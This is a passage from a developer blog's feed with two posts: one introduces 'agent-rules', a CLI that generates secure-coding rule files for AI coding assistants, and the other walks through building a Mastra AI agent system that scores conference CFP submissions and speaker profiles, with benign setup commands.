&lt;p&gt;&lt;img src=&quot;/images/blog/MCP_logo_bleeding_colored_red2.png&quot; alt=&quot;mcp command injection vulnerability logo&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Agent Rules is the Missing Link in AI-Powered Development</title><link>https://lirantal.com/blog/agent-rules-missing-link-ai-powered-development/</link><guid>https://lirantal.com/blog/agent-rules-missing-link-ai-powered-development/</guid><description>How agent-rules open source project is helping create consistent and deterministic security in AI coding assistants.</description><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How one open source project is hopefully helping you generate more secure code out of your AI agentic coding workflow? Here’s the story of &lt;a href=&quot;https://github.com/lirantal/agent-rules&quot;&gt;agent-rules&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-wild-west-of-ai-coding-assistants&quot;&gt;&lt;strong&gt;The Wild West of AI Coding Assistants&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Picture this: It’s Monday morning, and you’re switching between GitHub Copilot for your TypeScript project, Cursor for some Python work, and Claude CLI for documentation updates. Each AI assistant suggests different approaches, follows different security practices, and adheres to different coding standards. Sound familiar? Yes I know. I am facing the same challenge.&lt;/p&gt;
&lt;p&gt;This fragmented experience isn’t just inconvenient, it’s dangerous. When AI coding assistants lack consistent, secure coding standards, they can inadvertently introduce vulnerabilities, suggest outdated practices, or generate code that doesn’t align with your team’s security requirements.&lt;/p&gt;
&lt;p&gt;Enter &lt;strong&gt;agent-rules&lt;/strong&gt;: a unified solution to standardize AI coding assistant behavior across platforms.&lt;/p&gt;
&lt;p&gt;And no, it’s not a startup. Not a YC company. Just a humble open source project I am working on in my spare time :-)&lt;/p&gt;
&lt;h2 id=&quot;introducing-agent-rules-your-ais-coding-conscience&quot;&gt;&lt;strong&gt;Introducing Agent Rules: Your AI’s Coding Conscience&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Agent-rules is a game-changing CLI tool for me that generates standardized, security-focused rules for major AI coding assistants. With a simple &lt;code&gt;npx agent-rules&lt;/code&gt; command, developers (me included) can ensure their AI tools follow consistent best practices whether they’re using GitHub Copilot, Cursor, Claude CLI, or Gemini CLI.&lt;/p&gt;
&lt;p&gt;The tool addresses a critical gap in the AI-assisted development workflow: the lack of unified governance and security standards across different AI platforms.&lt;/p&gt;
&lt;p&gt;Here’s how simple it is:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Interactive mode - guided setup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx agent-rules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agent-rules-2.png&quot; alt=&quot;agent rules interactive CLI&quot;&gt;&lt;/p&gt;
&lt;p&gt;Alternatively, if you want to go fully automated and script it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Command-line mode - automated workflows  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx agent-rules --app github-copilot --topics secure-code --topics testing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;the-security-imperative-why-this-matters-now&quot;&gt;&lt;strong&gt;The Security Imperative: Why This Matters Now&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;In times where AI-generated code is becoming ubiquitous, the security implications are staggering. Agent-rules tackles this head-on by leveraging proven security expertise:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Secure coding practices&lt;/strong&gt; based on Liran Tal’s authoritative &lt;a href=&quot;https://www.nodejs-security.com/&quot;&gt;Node.js Secure Coding&lt;/a&gt; guide&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability scanning and remediation&lt;/strong&gt; powered by &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk.io&lt;/a&gt; insights&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’ve actually also included testing guidelines because I’m a strong believer that having a testing harness and a good testing strategy is vital for any real-world production codebase:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Testing strategy guidelines&lt;/strong&gt; built from &lt;a href=&quot;https://github.com/goldbergyoni/javascript-testing-best-practices&quot;&gt;Yoni Goldberg’s JavaScript Testing Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The project’s latest enhancement showcases this security-first approach with comprehensive guidelines for preferring Node.js core APIs over third-party dependencies—reducing attack surface and improving performance.&lt;/p&gt;
&lt;h2 id=&quot;developer-experience-from-friction-to-flow&quot;&gt;&lt;strong&gt;Developer Experience: From Friction to Flow&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Agent-rules transforms AI assistant configuration from a tedious, error-prone process into a streamlined experience. The tool guides you through AI platform selection and topic choices with an intuitive CLI interface powered by &lt;code&gt;@clack/prompts&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Agent-rule is also built with &lt;strong&gt;Automation-Readiness&lt;/strong&gt; in mind, meaning you can easily script it for non-interactive environments. Perfect for CI/CD pipelines and team onboarding scripts.&lt;/p&gt;
&lt;p&gt;Current AI coding agent support extends to the following platforms:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;AI Platform&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;GitHub Copilot&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cursor&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Claude CLI&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Gemini CLI&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agent-rules-3.png&quot; alt=&quot;agent rules command-line&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;roadmap-the-future-of-ai-guided-development&quot;&gt;&lt;strong&gt;Roadmap: The Future of AI-Guided Development&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;The project’s active development roadmap (7 open enhancement issues) reveals exciting upcoming features:&lt;/p&gt;
&lt;h3 id=&quot;advanced-platform-integrations&quot;&gt;&lt;strong&gt;Advanced Platform Integrations&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gemini CLI Custom Commands&lt;/strong&gt; (Issue #24): Research and implementation of slash commands&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code Hooks &amp;#x26; Commands&lt;/strong&gt; (Issues #22, #23): Deep integration with Claude’s extensibility features&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot Workspace Prompts&lt;/strong&gt; (Issue #30): Support for &lt;code&gt;.prompt.md&lt;/code&gt; file conventions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;enhanced-user-experience&quot;&gt;&lt;strong&gt;Enhanced User Experience&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;”Select All” functionality&lt;/strong&gt; (Issue #25): Streamlined topic selection for power users&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart defaults&lt;/strong&gt; (Issue #26): Security topics enabled by default for faster setup&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;modern-development-guidelines&quot;&gt;&lt;strong&gt;Modern Development Guidelines&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node.js modernization rules&lt;/strong&gt; (Issue #34): Comprehensive mappings from third-party dependencies to core Node.js APIs&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;community-impact-and-growing-adoption&quot;&gt;&lt;strong&gt;Community Impact and Growing Adoption&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;I’d love to welcome you to try it out and also help contribute and shape the future of this project.&lt;/p&gt;
&lt;p&gt;With 24 stars and active community engagement, agent-rules is gaining traction among security-conscious development teams. Recent merged pull requests show consistent maintenance and feature development, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CLI argument support for automation (PR #19)&lt;/li&gt;
&lt;li&gt;Security hardening improvements (PR #27)&lt;/li&gt;
&lt;li&gt;Multi-platform adapter enhancements&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Apache 2.0 license ensures accessibility for both open-source and enterprise use cases.&lt;/p&gt;
&lt;h2 id=&quot;whats-next-for-ai-a&quot;&gt;What’s next for AI a&lt;/h2&gt;
&lt;p&gt;Agent-rules represents more than a convenience tool—it’s a step toward responsible AI-assisted development. As AI coding assistants become more powerful and prevalent, projects like agent-rules provide the governance framework necessary to ensure these tools enhance rather than compromise code quality and security.&lt;/p&gt;
&lt;p&gt;By standardizing AI behavior across platforms, agent-rules empowers development teams to harness AI’s productivity benefits while maintaining the security and quality standards that modern software demands.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ready to bring consistency to your AI coding workflow?&lt;/strong&gt; Start with &lt;code&gt;npx agent-rules&lt;/code&gt; and join the growing community of developers who refuse to compromise on security in the age of AI.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Agent-rules is an open-source project by &lt;a href=&quot;https://github.com/lirantal&quot;&gt;Liran Tal&lt;/a&gt;, a recognized security expert and author of Node.js Secure Coding. Contribute to the project on &lt;a href=&quot;https://github.com/lirantal/agent-rules&quot;&gt;GitHub&lt;/a&gt; or follow development updates.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title>Automating DevRel Conference CFP Evaluation with AI Agents: A Complete Guide with the Mastra AI Framework</title><link>https://lirantal.com/blog/automating-devrel-conference-cfp-evaluation-with-ai-agents/</link><guid>https://lirantal.com/blog/automating-devrel-conference-cfp-evaluation-with-ai-agents/</guid><description>Ever wanted to automate the process of evaluating hundreds of conference Call for Papers (CFP) submissions? Here&apos;s how I built an AI-powered CFP evaluation system using Mastra AI agents to streamline the review process while maintaining quality and consistency.</description><pubDate>Sat, 20 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As someone deeply involved in the tech community and conference organizing, I’ve personally experienced the overwhelming burden of reviewing hundreds of Call for Papers (CFP) submissions. Each conference season, I’d find myself drowning in spreadsheets, trying to maintain consistency while evaluating diverse topics, speaker backgrounds, and technical depth. The manual process was not only time-consuming but also prone to human bias and fatigue.&lt;/p&gt;
&lt;p&gt;That’s when I decided to build something new: &lt;strong&gt;an AI-powered CFP evaluation system using Mastra AI agents&lt;/strong&gt;. This isn’t just another automation tool—it’s a comprehensive solution that maintains the human judgment quality while scaling to handle hundreds of submissions efficiently. This work is aimed to be an initial proposal for conference organizers and DevRel teams looking to streamline their CFP review process and was part of the Mastra AI Hackathon in August 2025.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;following is my journey through building an AI-powered system that proposes an agentic AI workflow for conference CFP committee&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;meet-my-mastra-ai-cfp-evaluation-agent&quot;&gt;Meet My Mastra AI CFP Evaluation Agent&lt;/h2&gt;
&lt;p&gt;I built this system around the &lt;strong&gt;Mastra AI framework&lt;/strong&gt;, leveraging TypeScript for type safety and SQLite for reliable persistence. The core innovation lies in transforming subjective evaluation criteria into structured, AI-powered assessments that provide both numerical scores and detailed justifications.&lt;/p&gt;
&lt;p&gt;Here’s a quick overview of the AI agent at work:&lt;/p&gt;
&lt;p&gt;&lt;video src=&quot;/images/blog/MastraAI-agents-devrel-cfp-committee-workflows.mp4&quot; controls&gt;&lt;/video&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-my-ai-agent-system-actually-does&quot;&gt;What My AI Agent System Actually Does&lt;/h3&gt;
&lt;p&gt;My CFP evaluation agent doesn’t just score submissions, but also provides comprehensive analysis across multiple dimensions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automated Evaluation&lt;/strong&gt;: AI agents analyze each session proposal across 6 distinct criteria&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart Scoring&lt;/strong&gt;: 1-5 scale scoring with detailed justifications for transparency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Batch Processing&lt;/strong&gt;: Handles hundreds of submissions using queue-based processing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resume Capability&lt;/strong&gt;: Never loses progress during interruptions (learned this the hard way during API rate limits)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dual Workflow System&lt;/strong&gt;: Evaluates both session content AND speaker profiles&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Export Flexibility&lt;/strong&gt;: Multiple output formats for integration with existing tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The technology stack I chose reflects my priorities for reliability and developer experience:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mastra AI&lt;/strong&gt; for agent orchestration and workflow management&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript&lt;/strong&gt; for type safety and maintainable code&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQLite&lt;/strong&gt; for zero-dependency persistence&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fastq&lt;/strong&gt; for controlled concurrent processing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Playwright MCP&lt;/strong&gt; for web scraping speaker profiles&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;understanding-my-6-criteria-evaluation-framework&quot;&gt;Understanding My 6-Criteria Evaluation Framework&lt;/h2&gt;
&lt;p&gt;After participating in multiple conference CFP committees, I want to propose an initial six key criteria that would contribute to a fair prediction of session quality and audience satisfaction:&lt;/p&gt;
&lt;h3 id=&quot;1-title-evaluation-1-5-scale&quot;&gt;1. Title Evaluation (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;The title is your first impression—I evaluate clarity, engagement potential, and how well it describes the actual content. A great title like “Building Resilient Microservices: Lessons from 1000 Production Failures” immediately tells you what to expect.&lt;/p&gt;
&lt;h3 id=&quot;2-description-assessment-1-5-scale&quot;&gt;2. Description Assessment (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;This is where I dig deep into how well the speaker explains their content, identifies the target audience, and articulates the value proposition. I look for specific learning outcomes and clear structure.&lt;/p&gt;
&lt;h3 id=&quot;3-key-takeaways-analysis-1-5-scale&quot;&gt;3. Key Takeaways Analysis (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;I evaluate the actionability and concrete value of what attendees will learn. Vague takeaways like “understand microservices better” score low, while specific ones like “implement circuit breaker patterns using Node.js” score high.&lt;/p&gt;
&lt;h3 id=&quot;4-technical-depth-review-1-5-scale&quot;&gt;4. Technical Depth Review (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;This assesses the sophistication and depth of technical content. I evaluate whether the session provides surface-level overview or deep, implementable insights.&lt;/p&gt;
&lt;h3 id=&quot;5-relevance-scoring-1-5-scale&quot;&gt;5. Relevance Scoring (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;How well does this session align with the conference theme and target audience? A blockchain talk might score low at a JavaScript conference unless it specifically focuses on JavaScript blockchain development.&lt;/p&gt;
&lt;h3 id=&quot;6-previous-presentation-history-1-5-scale&quot;&gt;6. Previous Presentation History (1-5 Scale)&lt;/h3&gt;
&lt;p&gt;I evaluate whether the speaker has given this talk before and how that impacts the content freshness and delivery quality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total Score Range&lt;/strong&gt;: 6-30 points, giving me a clear ranking mechanism across all submissions.&lt;/p&gt;
&lt;h2 id=&quot;architecture-deep-dive-how-i-built-it&quot;&gt;Architecture Deep Dive: How I Built It&lt;/h2&gt;
&lt;h3 id=&quot;core-components&quot;&gt;Core Components&lt;/h3&gt;
&lt;p&gt;I designed the system with four main components, each handling specific responsibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;1. Main Application Controller&lt;/strong&gt; (&lt;code&gt;src/app.ts&lt;/code&gt;) - This orchestrates the entire evaluation process using fastq for queue management. I chose to process one session at a time during testing, but it’s configurable for production scaling.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;2. Database Service&lt;/strong&gt; (&lt;code&gt;src/services/database/index.ts&lt;/code&gt;) - My SQLite-based persistence layer handles all CRUD operations with proper status tracking. The service includes robust path resolution to handle Mastra’s unique execution environment—a critical detail I discovered during development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;3. CFP Evaluation Agent&lt;/strong&gt; (&lt;code&gt;src/mastra/agents/cfp-evaluation-agent.ts&lt;/code&gt;) - The AI brain of the system that evaluates session content using structured prompts and returns consistent scoring with justifications.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;4. Workflow Engine&lt;/strong&gt; (&lt;code&gt;src/mastra/workflows/cfp-evaluation-workflow.ts&lt;/code&gt;) - This orchestrates the entire evaluation process, managing data flow between components and handling both session and speaker assessments.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;data-flow-architecture&quot;&gt;Data Flow Architecture&lt;/h3&gt;
&lt;p&gt;The system follows a clear pipeline that I designed for reliability and resumability:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Sessionize JSON → SQLite Database → Processing Queue → AI Workflow → Evaluation Results → Export Options&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each step is independent and recoverable, ensuring that API failures or interruptions don’t lose progress making it easy to keep the process on track when processing hundreds of submissions.&lt;/p&gt;
&lt;h3 id=&quot;database-schema-design&quot;&gt;Database Schema Design&lt;/h3&gt;
&lt;p&gt;I implemented a normalized schema that supports complex relationships while maintaining performance:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sessions Table&lt;/strong&gt;: Stores session data with individual score fields for efficient querying
&lt;strong&gt;Speakers Table&lt;/strong&gt;: Normalized speaker information with proper relationships
&lt;strong&gt;Session-Speakers Junction&lt;/strong&gt;: Many-to-many relationships between sessions and speakers
&lt;strong&gt;Speaker Evaluations&lt;/strong&gt;: Separate evaluation tracking with UUID-based versioning&lt;/p&gt;
&lt;p&gt;This design eliminates data redundancy while enabling sophisticated queries for analysis.&lt;/p&gt;
&lt;h2 id=&quot;how-to-get-started-a-step-by-step-guide&quot;&gt;How to Get Started: A Step-by-Step Guide&lt;/h2&gt;
&lt;p&gt;Getting this AI agent running takes less than 5 minutes:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Clone and install dependencies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;git clone https://github.com/lirantal/devrel-cfp-committee&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; devrel-cfp-committee&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Initialize database with sample data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:seed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Process CFP submissions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run process-cfp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Start interactive playground&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The seeding process loads both session data from Sessionize exports and speaker information, establishing proper relationships automatically.&lt;/p&gt;
&lt;h3 id=&quot;configuration-options&quot;&gt;Configuration Options&lt;/h3&gt;
&lt;p&gt;I built flexibility into every aspect of the system:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;API Configuration&lt;/strong&gt;: Switch from mock evaluations to real AI models by setting environment variables:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; GOOGLE_GENERATIVE_AI_API_KEY=your_api_key_here&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Concurrency Control&lt;/strong&gt;: Adjust processing speed based on your API limits:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;queue&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastq.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(processSession, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;); &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Concurrent sessions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Custom Evaluation Criteria&lt;/strong&gt;: Extend the agent’s output schema to add new scoring dimensions or modify existing ones.&lt;/p&gt;
&lt;h3 id=&quot;database-management&quot;&gt;Database Management&lt;/h3&gt;
&lt;p&gt;The system provides comprehensive database utilities:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# View current processing status&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:view&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Export results in multiple formats&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:export          &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# JSON format&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:export-csv       &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Spreadsheet-friendly CSV&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Filter exports by status&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:export-filtered Nominated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Reset for reprocessing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;advanced-features-and-workflows&quot;&gt;Advanced Features and Workflows&lt;/h2&gt;
&lt;h3 id=&quot;dual-workflow-architecture&quot;&gt;Dual Workflow Architecture&lt;/h3&gt;
&lt;p&gt;One of my key innovations was separating session evaluation from speaker assessment into independent workflows. This modular design offers several advantages:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Session Evaluation Workflow&lt;/strong&gt;: Focuses purely on content quality, structure, and technical depth
&lt;strong&gt;Speaker Profile Assessment Workflow&lt;/strong&gt;: Evaluates speaker credibility, expertise, and conference fit using web scraping&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/MastraAI-agents-devrel-cfp-committee-workflows.png&quot; alt=&quot;speaker evaluation workflow in this Mastra AI DevRel CFP committee&quot;&gt;&lt;/p&gt;
&lt;p&gt;Both workflows can run independently or together, providing maximum flexibility for different evaluation scenarios.&lt;/p&gt;
&lt;h3 id=&quot;speaker-profile-evaluation&quot;&gt;Speaker Profile Evaluation&lt;/h3&gt;
&lt;p&gt;The speaker assessment workflow showcases the system’s advanced capabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Database Integration&lt;/strong&gt;: Fetches all speakers from the SQLite database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Scraping&lt;/strong&gt;: Uses Playwright to visit Sessionize profiles&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Analysis&lt;/strong&gt;: Evaluates expertise match and topic relevance (1-3 scale)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistent Storage&lt;/strong&gt;: Saves evaluations with UUID tracking for audit trails&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrency Control&lt;/strong&gt;: Processes 2 speakers simultaneously to respect rate limits&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mastra-ai-agent-speaker-profile-assessment.png&quot; alt=&quot;mastra ai framework example of speaker assessment agent&quot;&gt;&lt;/p&gt;
&lt;p&gt;This workflow demonstrates how AI agents can augment human decision-making by gathering and analyzing data that would be impractical to collect manually. The AI provides detailed analysis of each speaker’s background, expertise alignment, and potential conference fit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mastra-ai-agent-speaker-profile-assessment2.png&quot; alt=&quot;mastra ai framework example of detailed LLM interpretation of the speaker assessment agent output&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;resume-and-recovery-capabilities&quot;&gt;Resume and Recovery Capabilities&lt;/h3&gt;
&lt;p&gt;I learned the importance of resilience during early testing when API rate limits interrupted long processing runs. The system now includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Status Tracking&lt;/strong&gt;: Each session maintains processing status (‘new’, ‘ready’)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic Recovery&lt;/strong&gt;: Resumes from where it left off after interruptions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Progress Monitoring&lt;/strong&gt;: Real-time feedback on processing status&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error Isolation&lt;/strong&gt;: Failed sessions don’t affect others in the queue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/MastraAI-agents-devrel-cfp-committee-workflows2.png&quot; alt=&quot;mastra ai framework failed workflow example&quot;&gt;&lt;/p&gt;
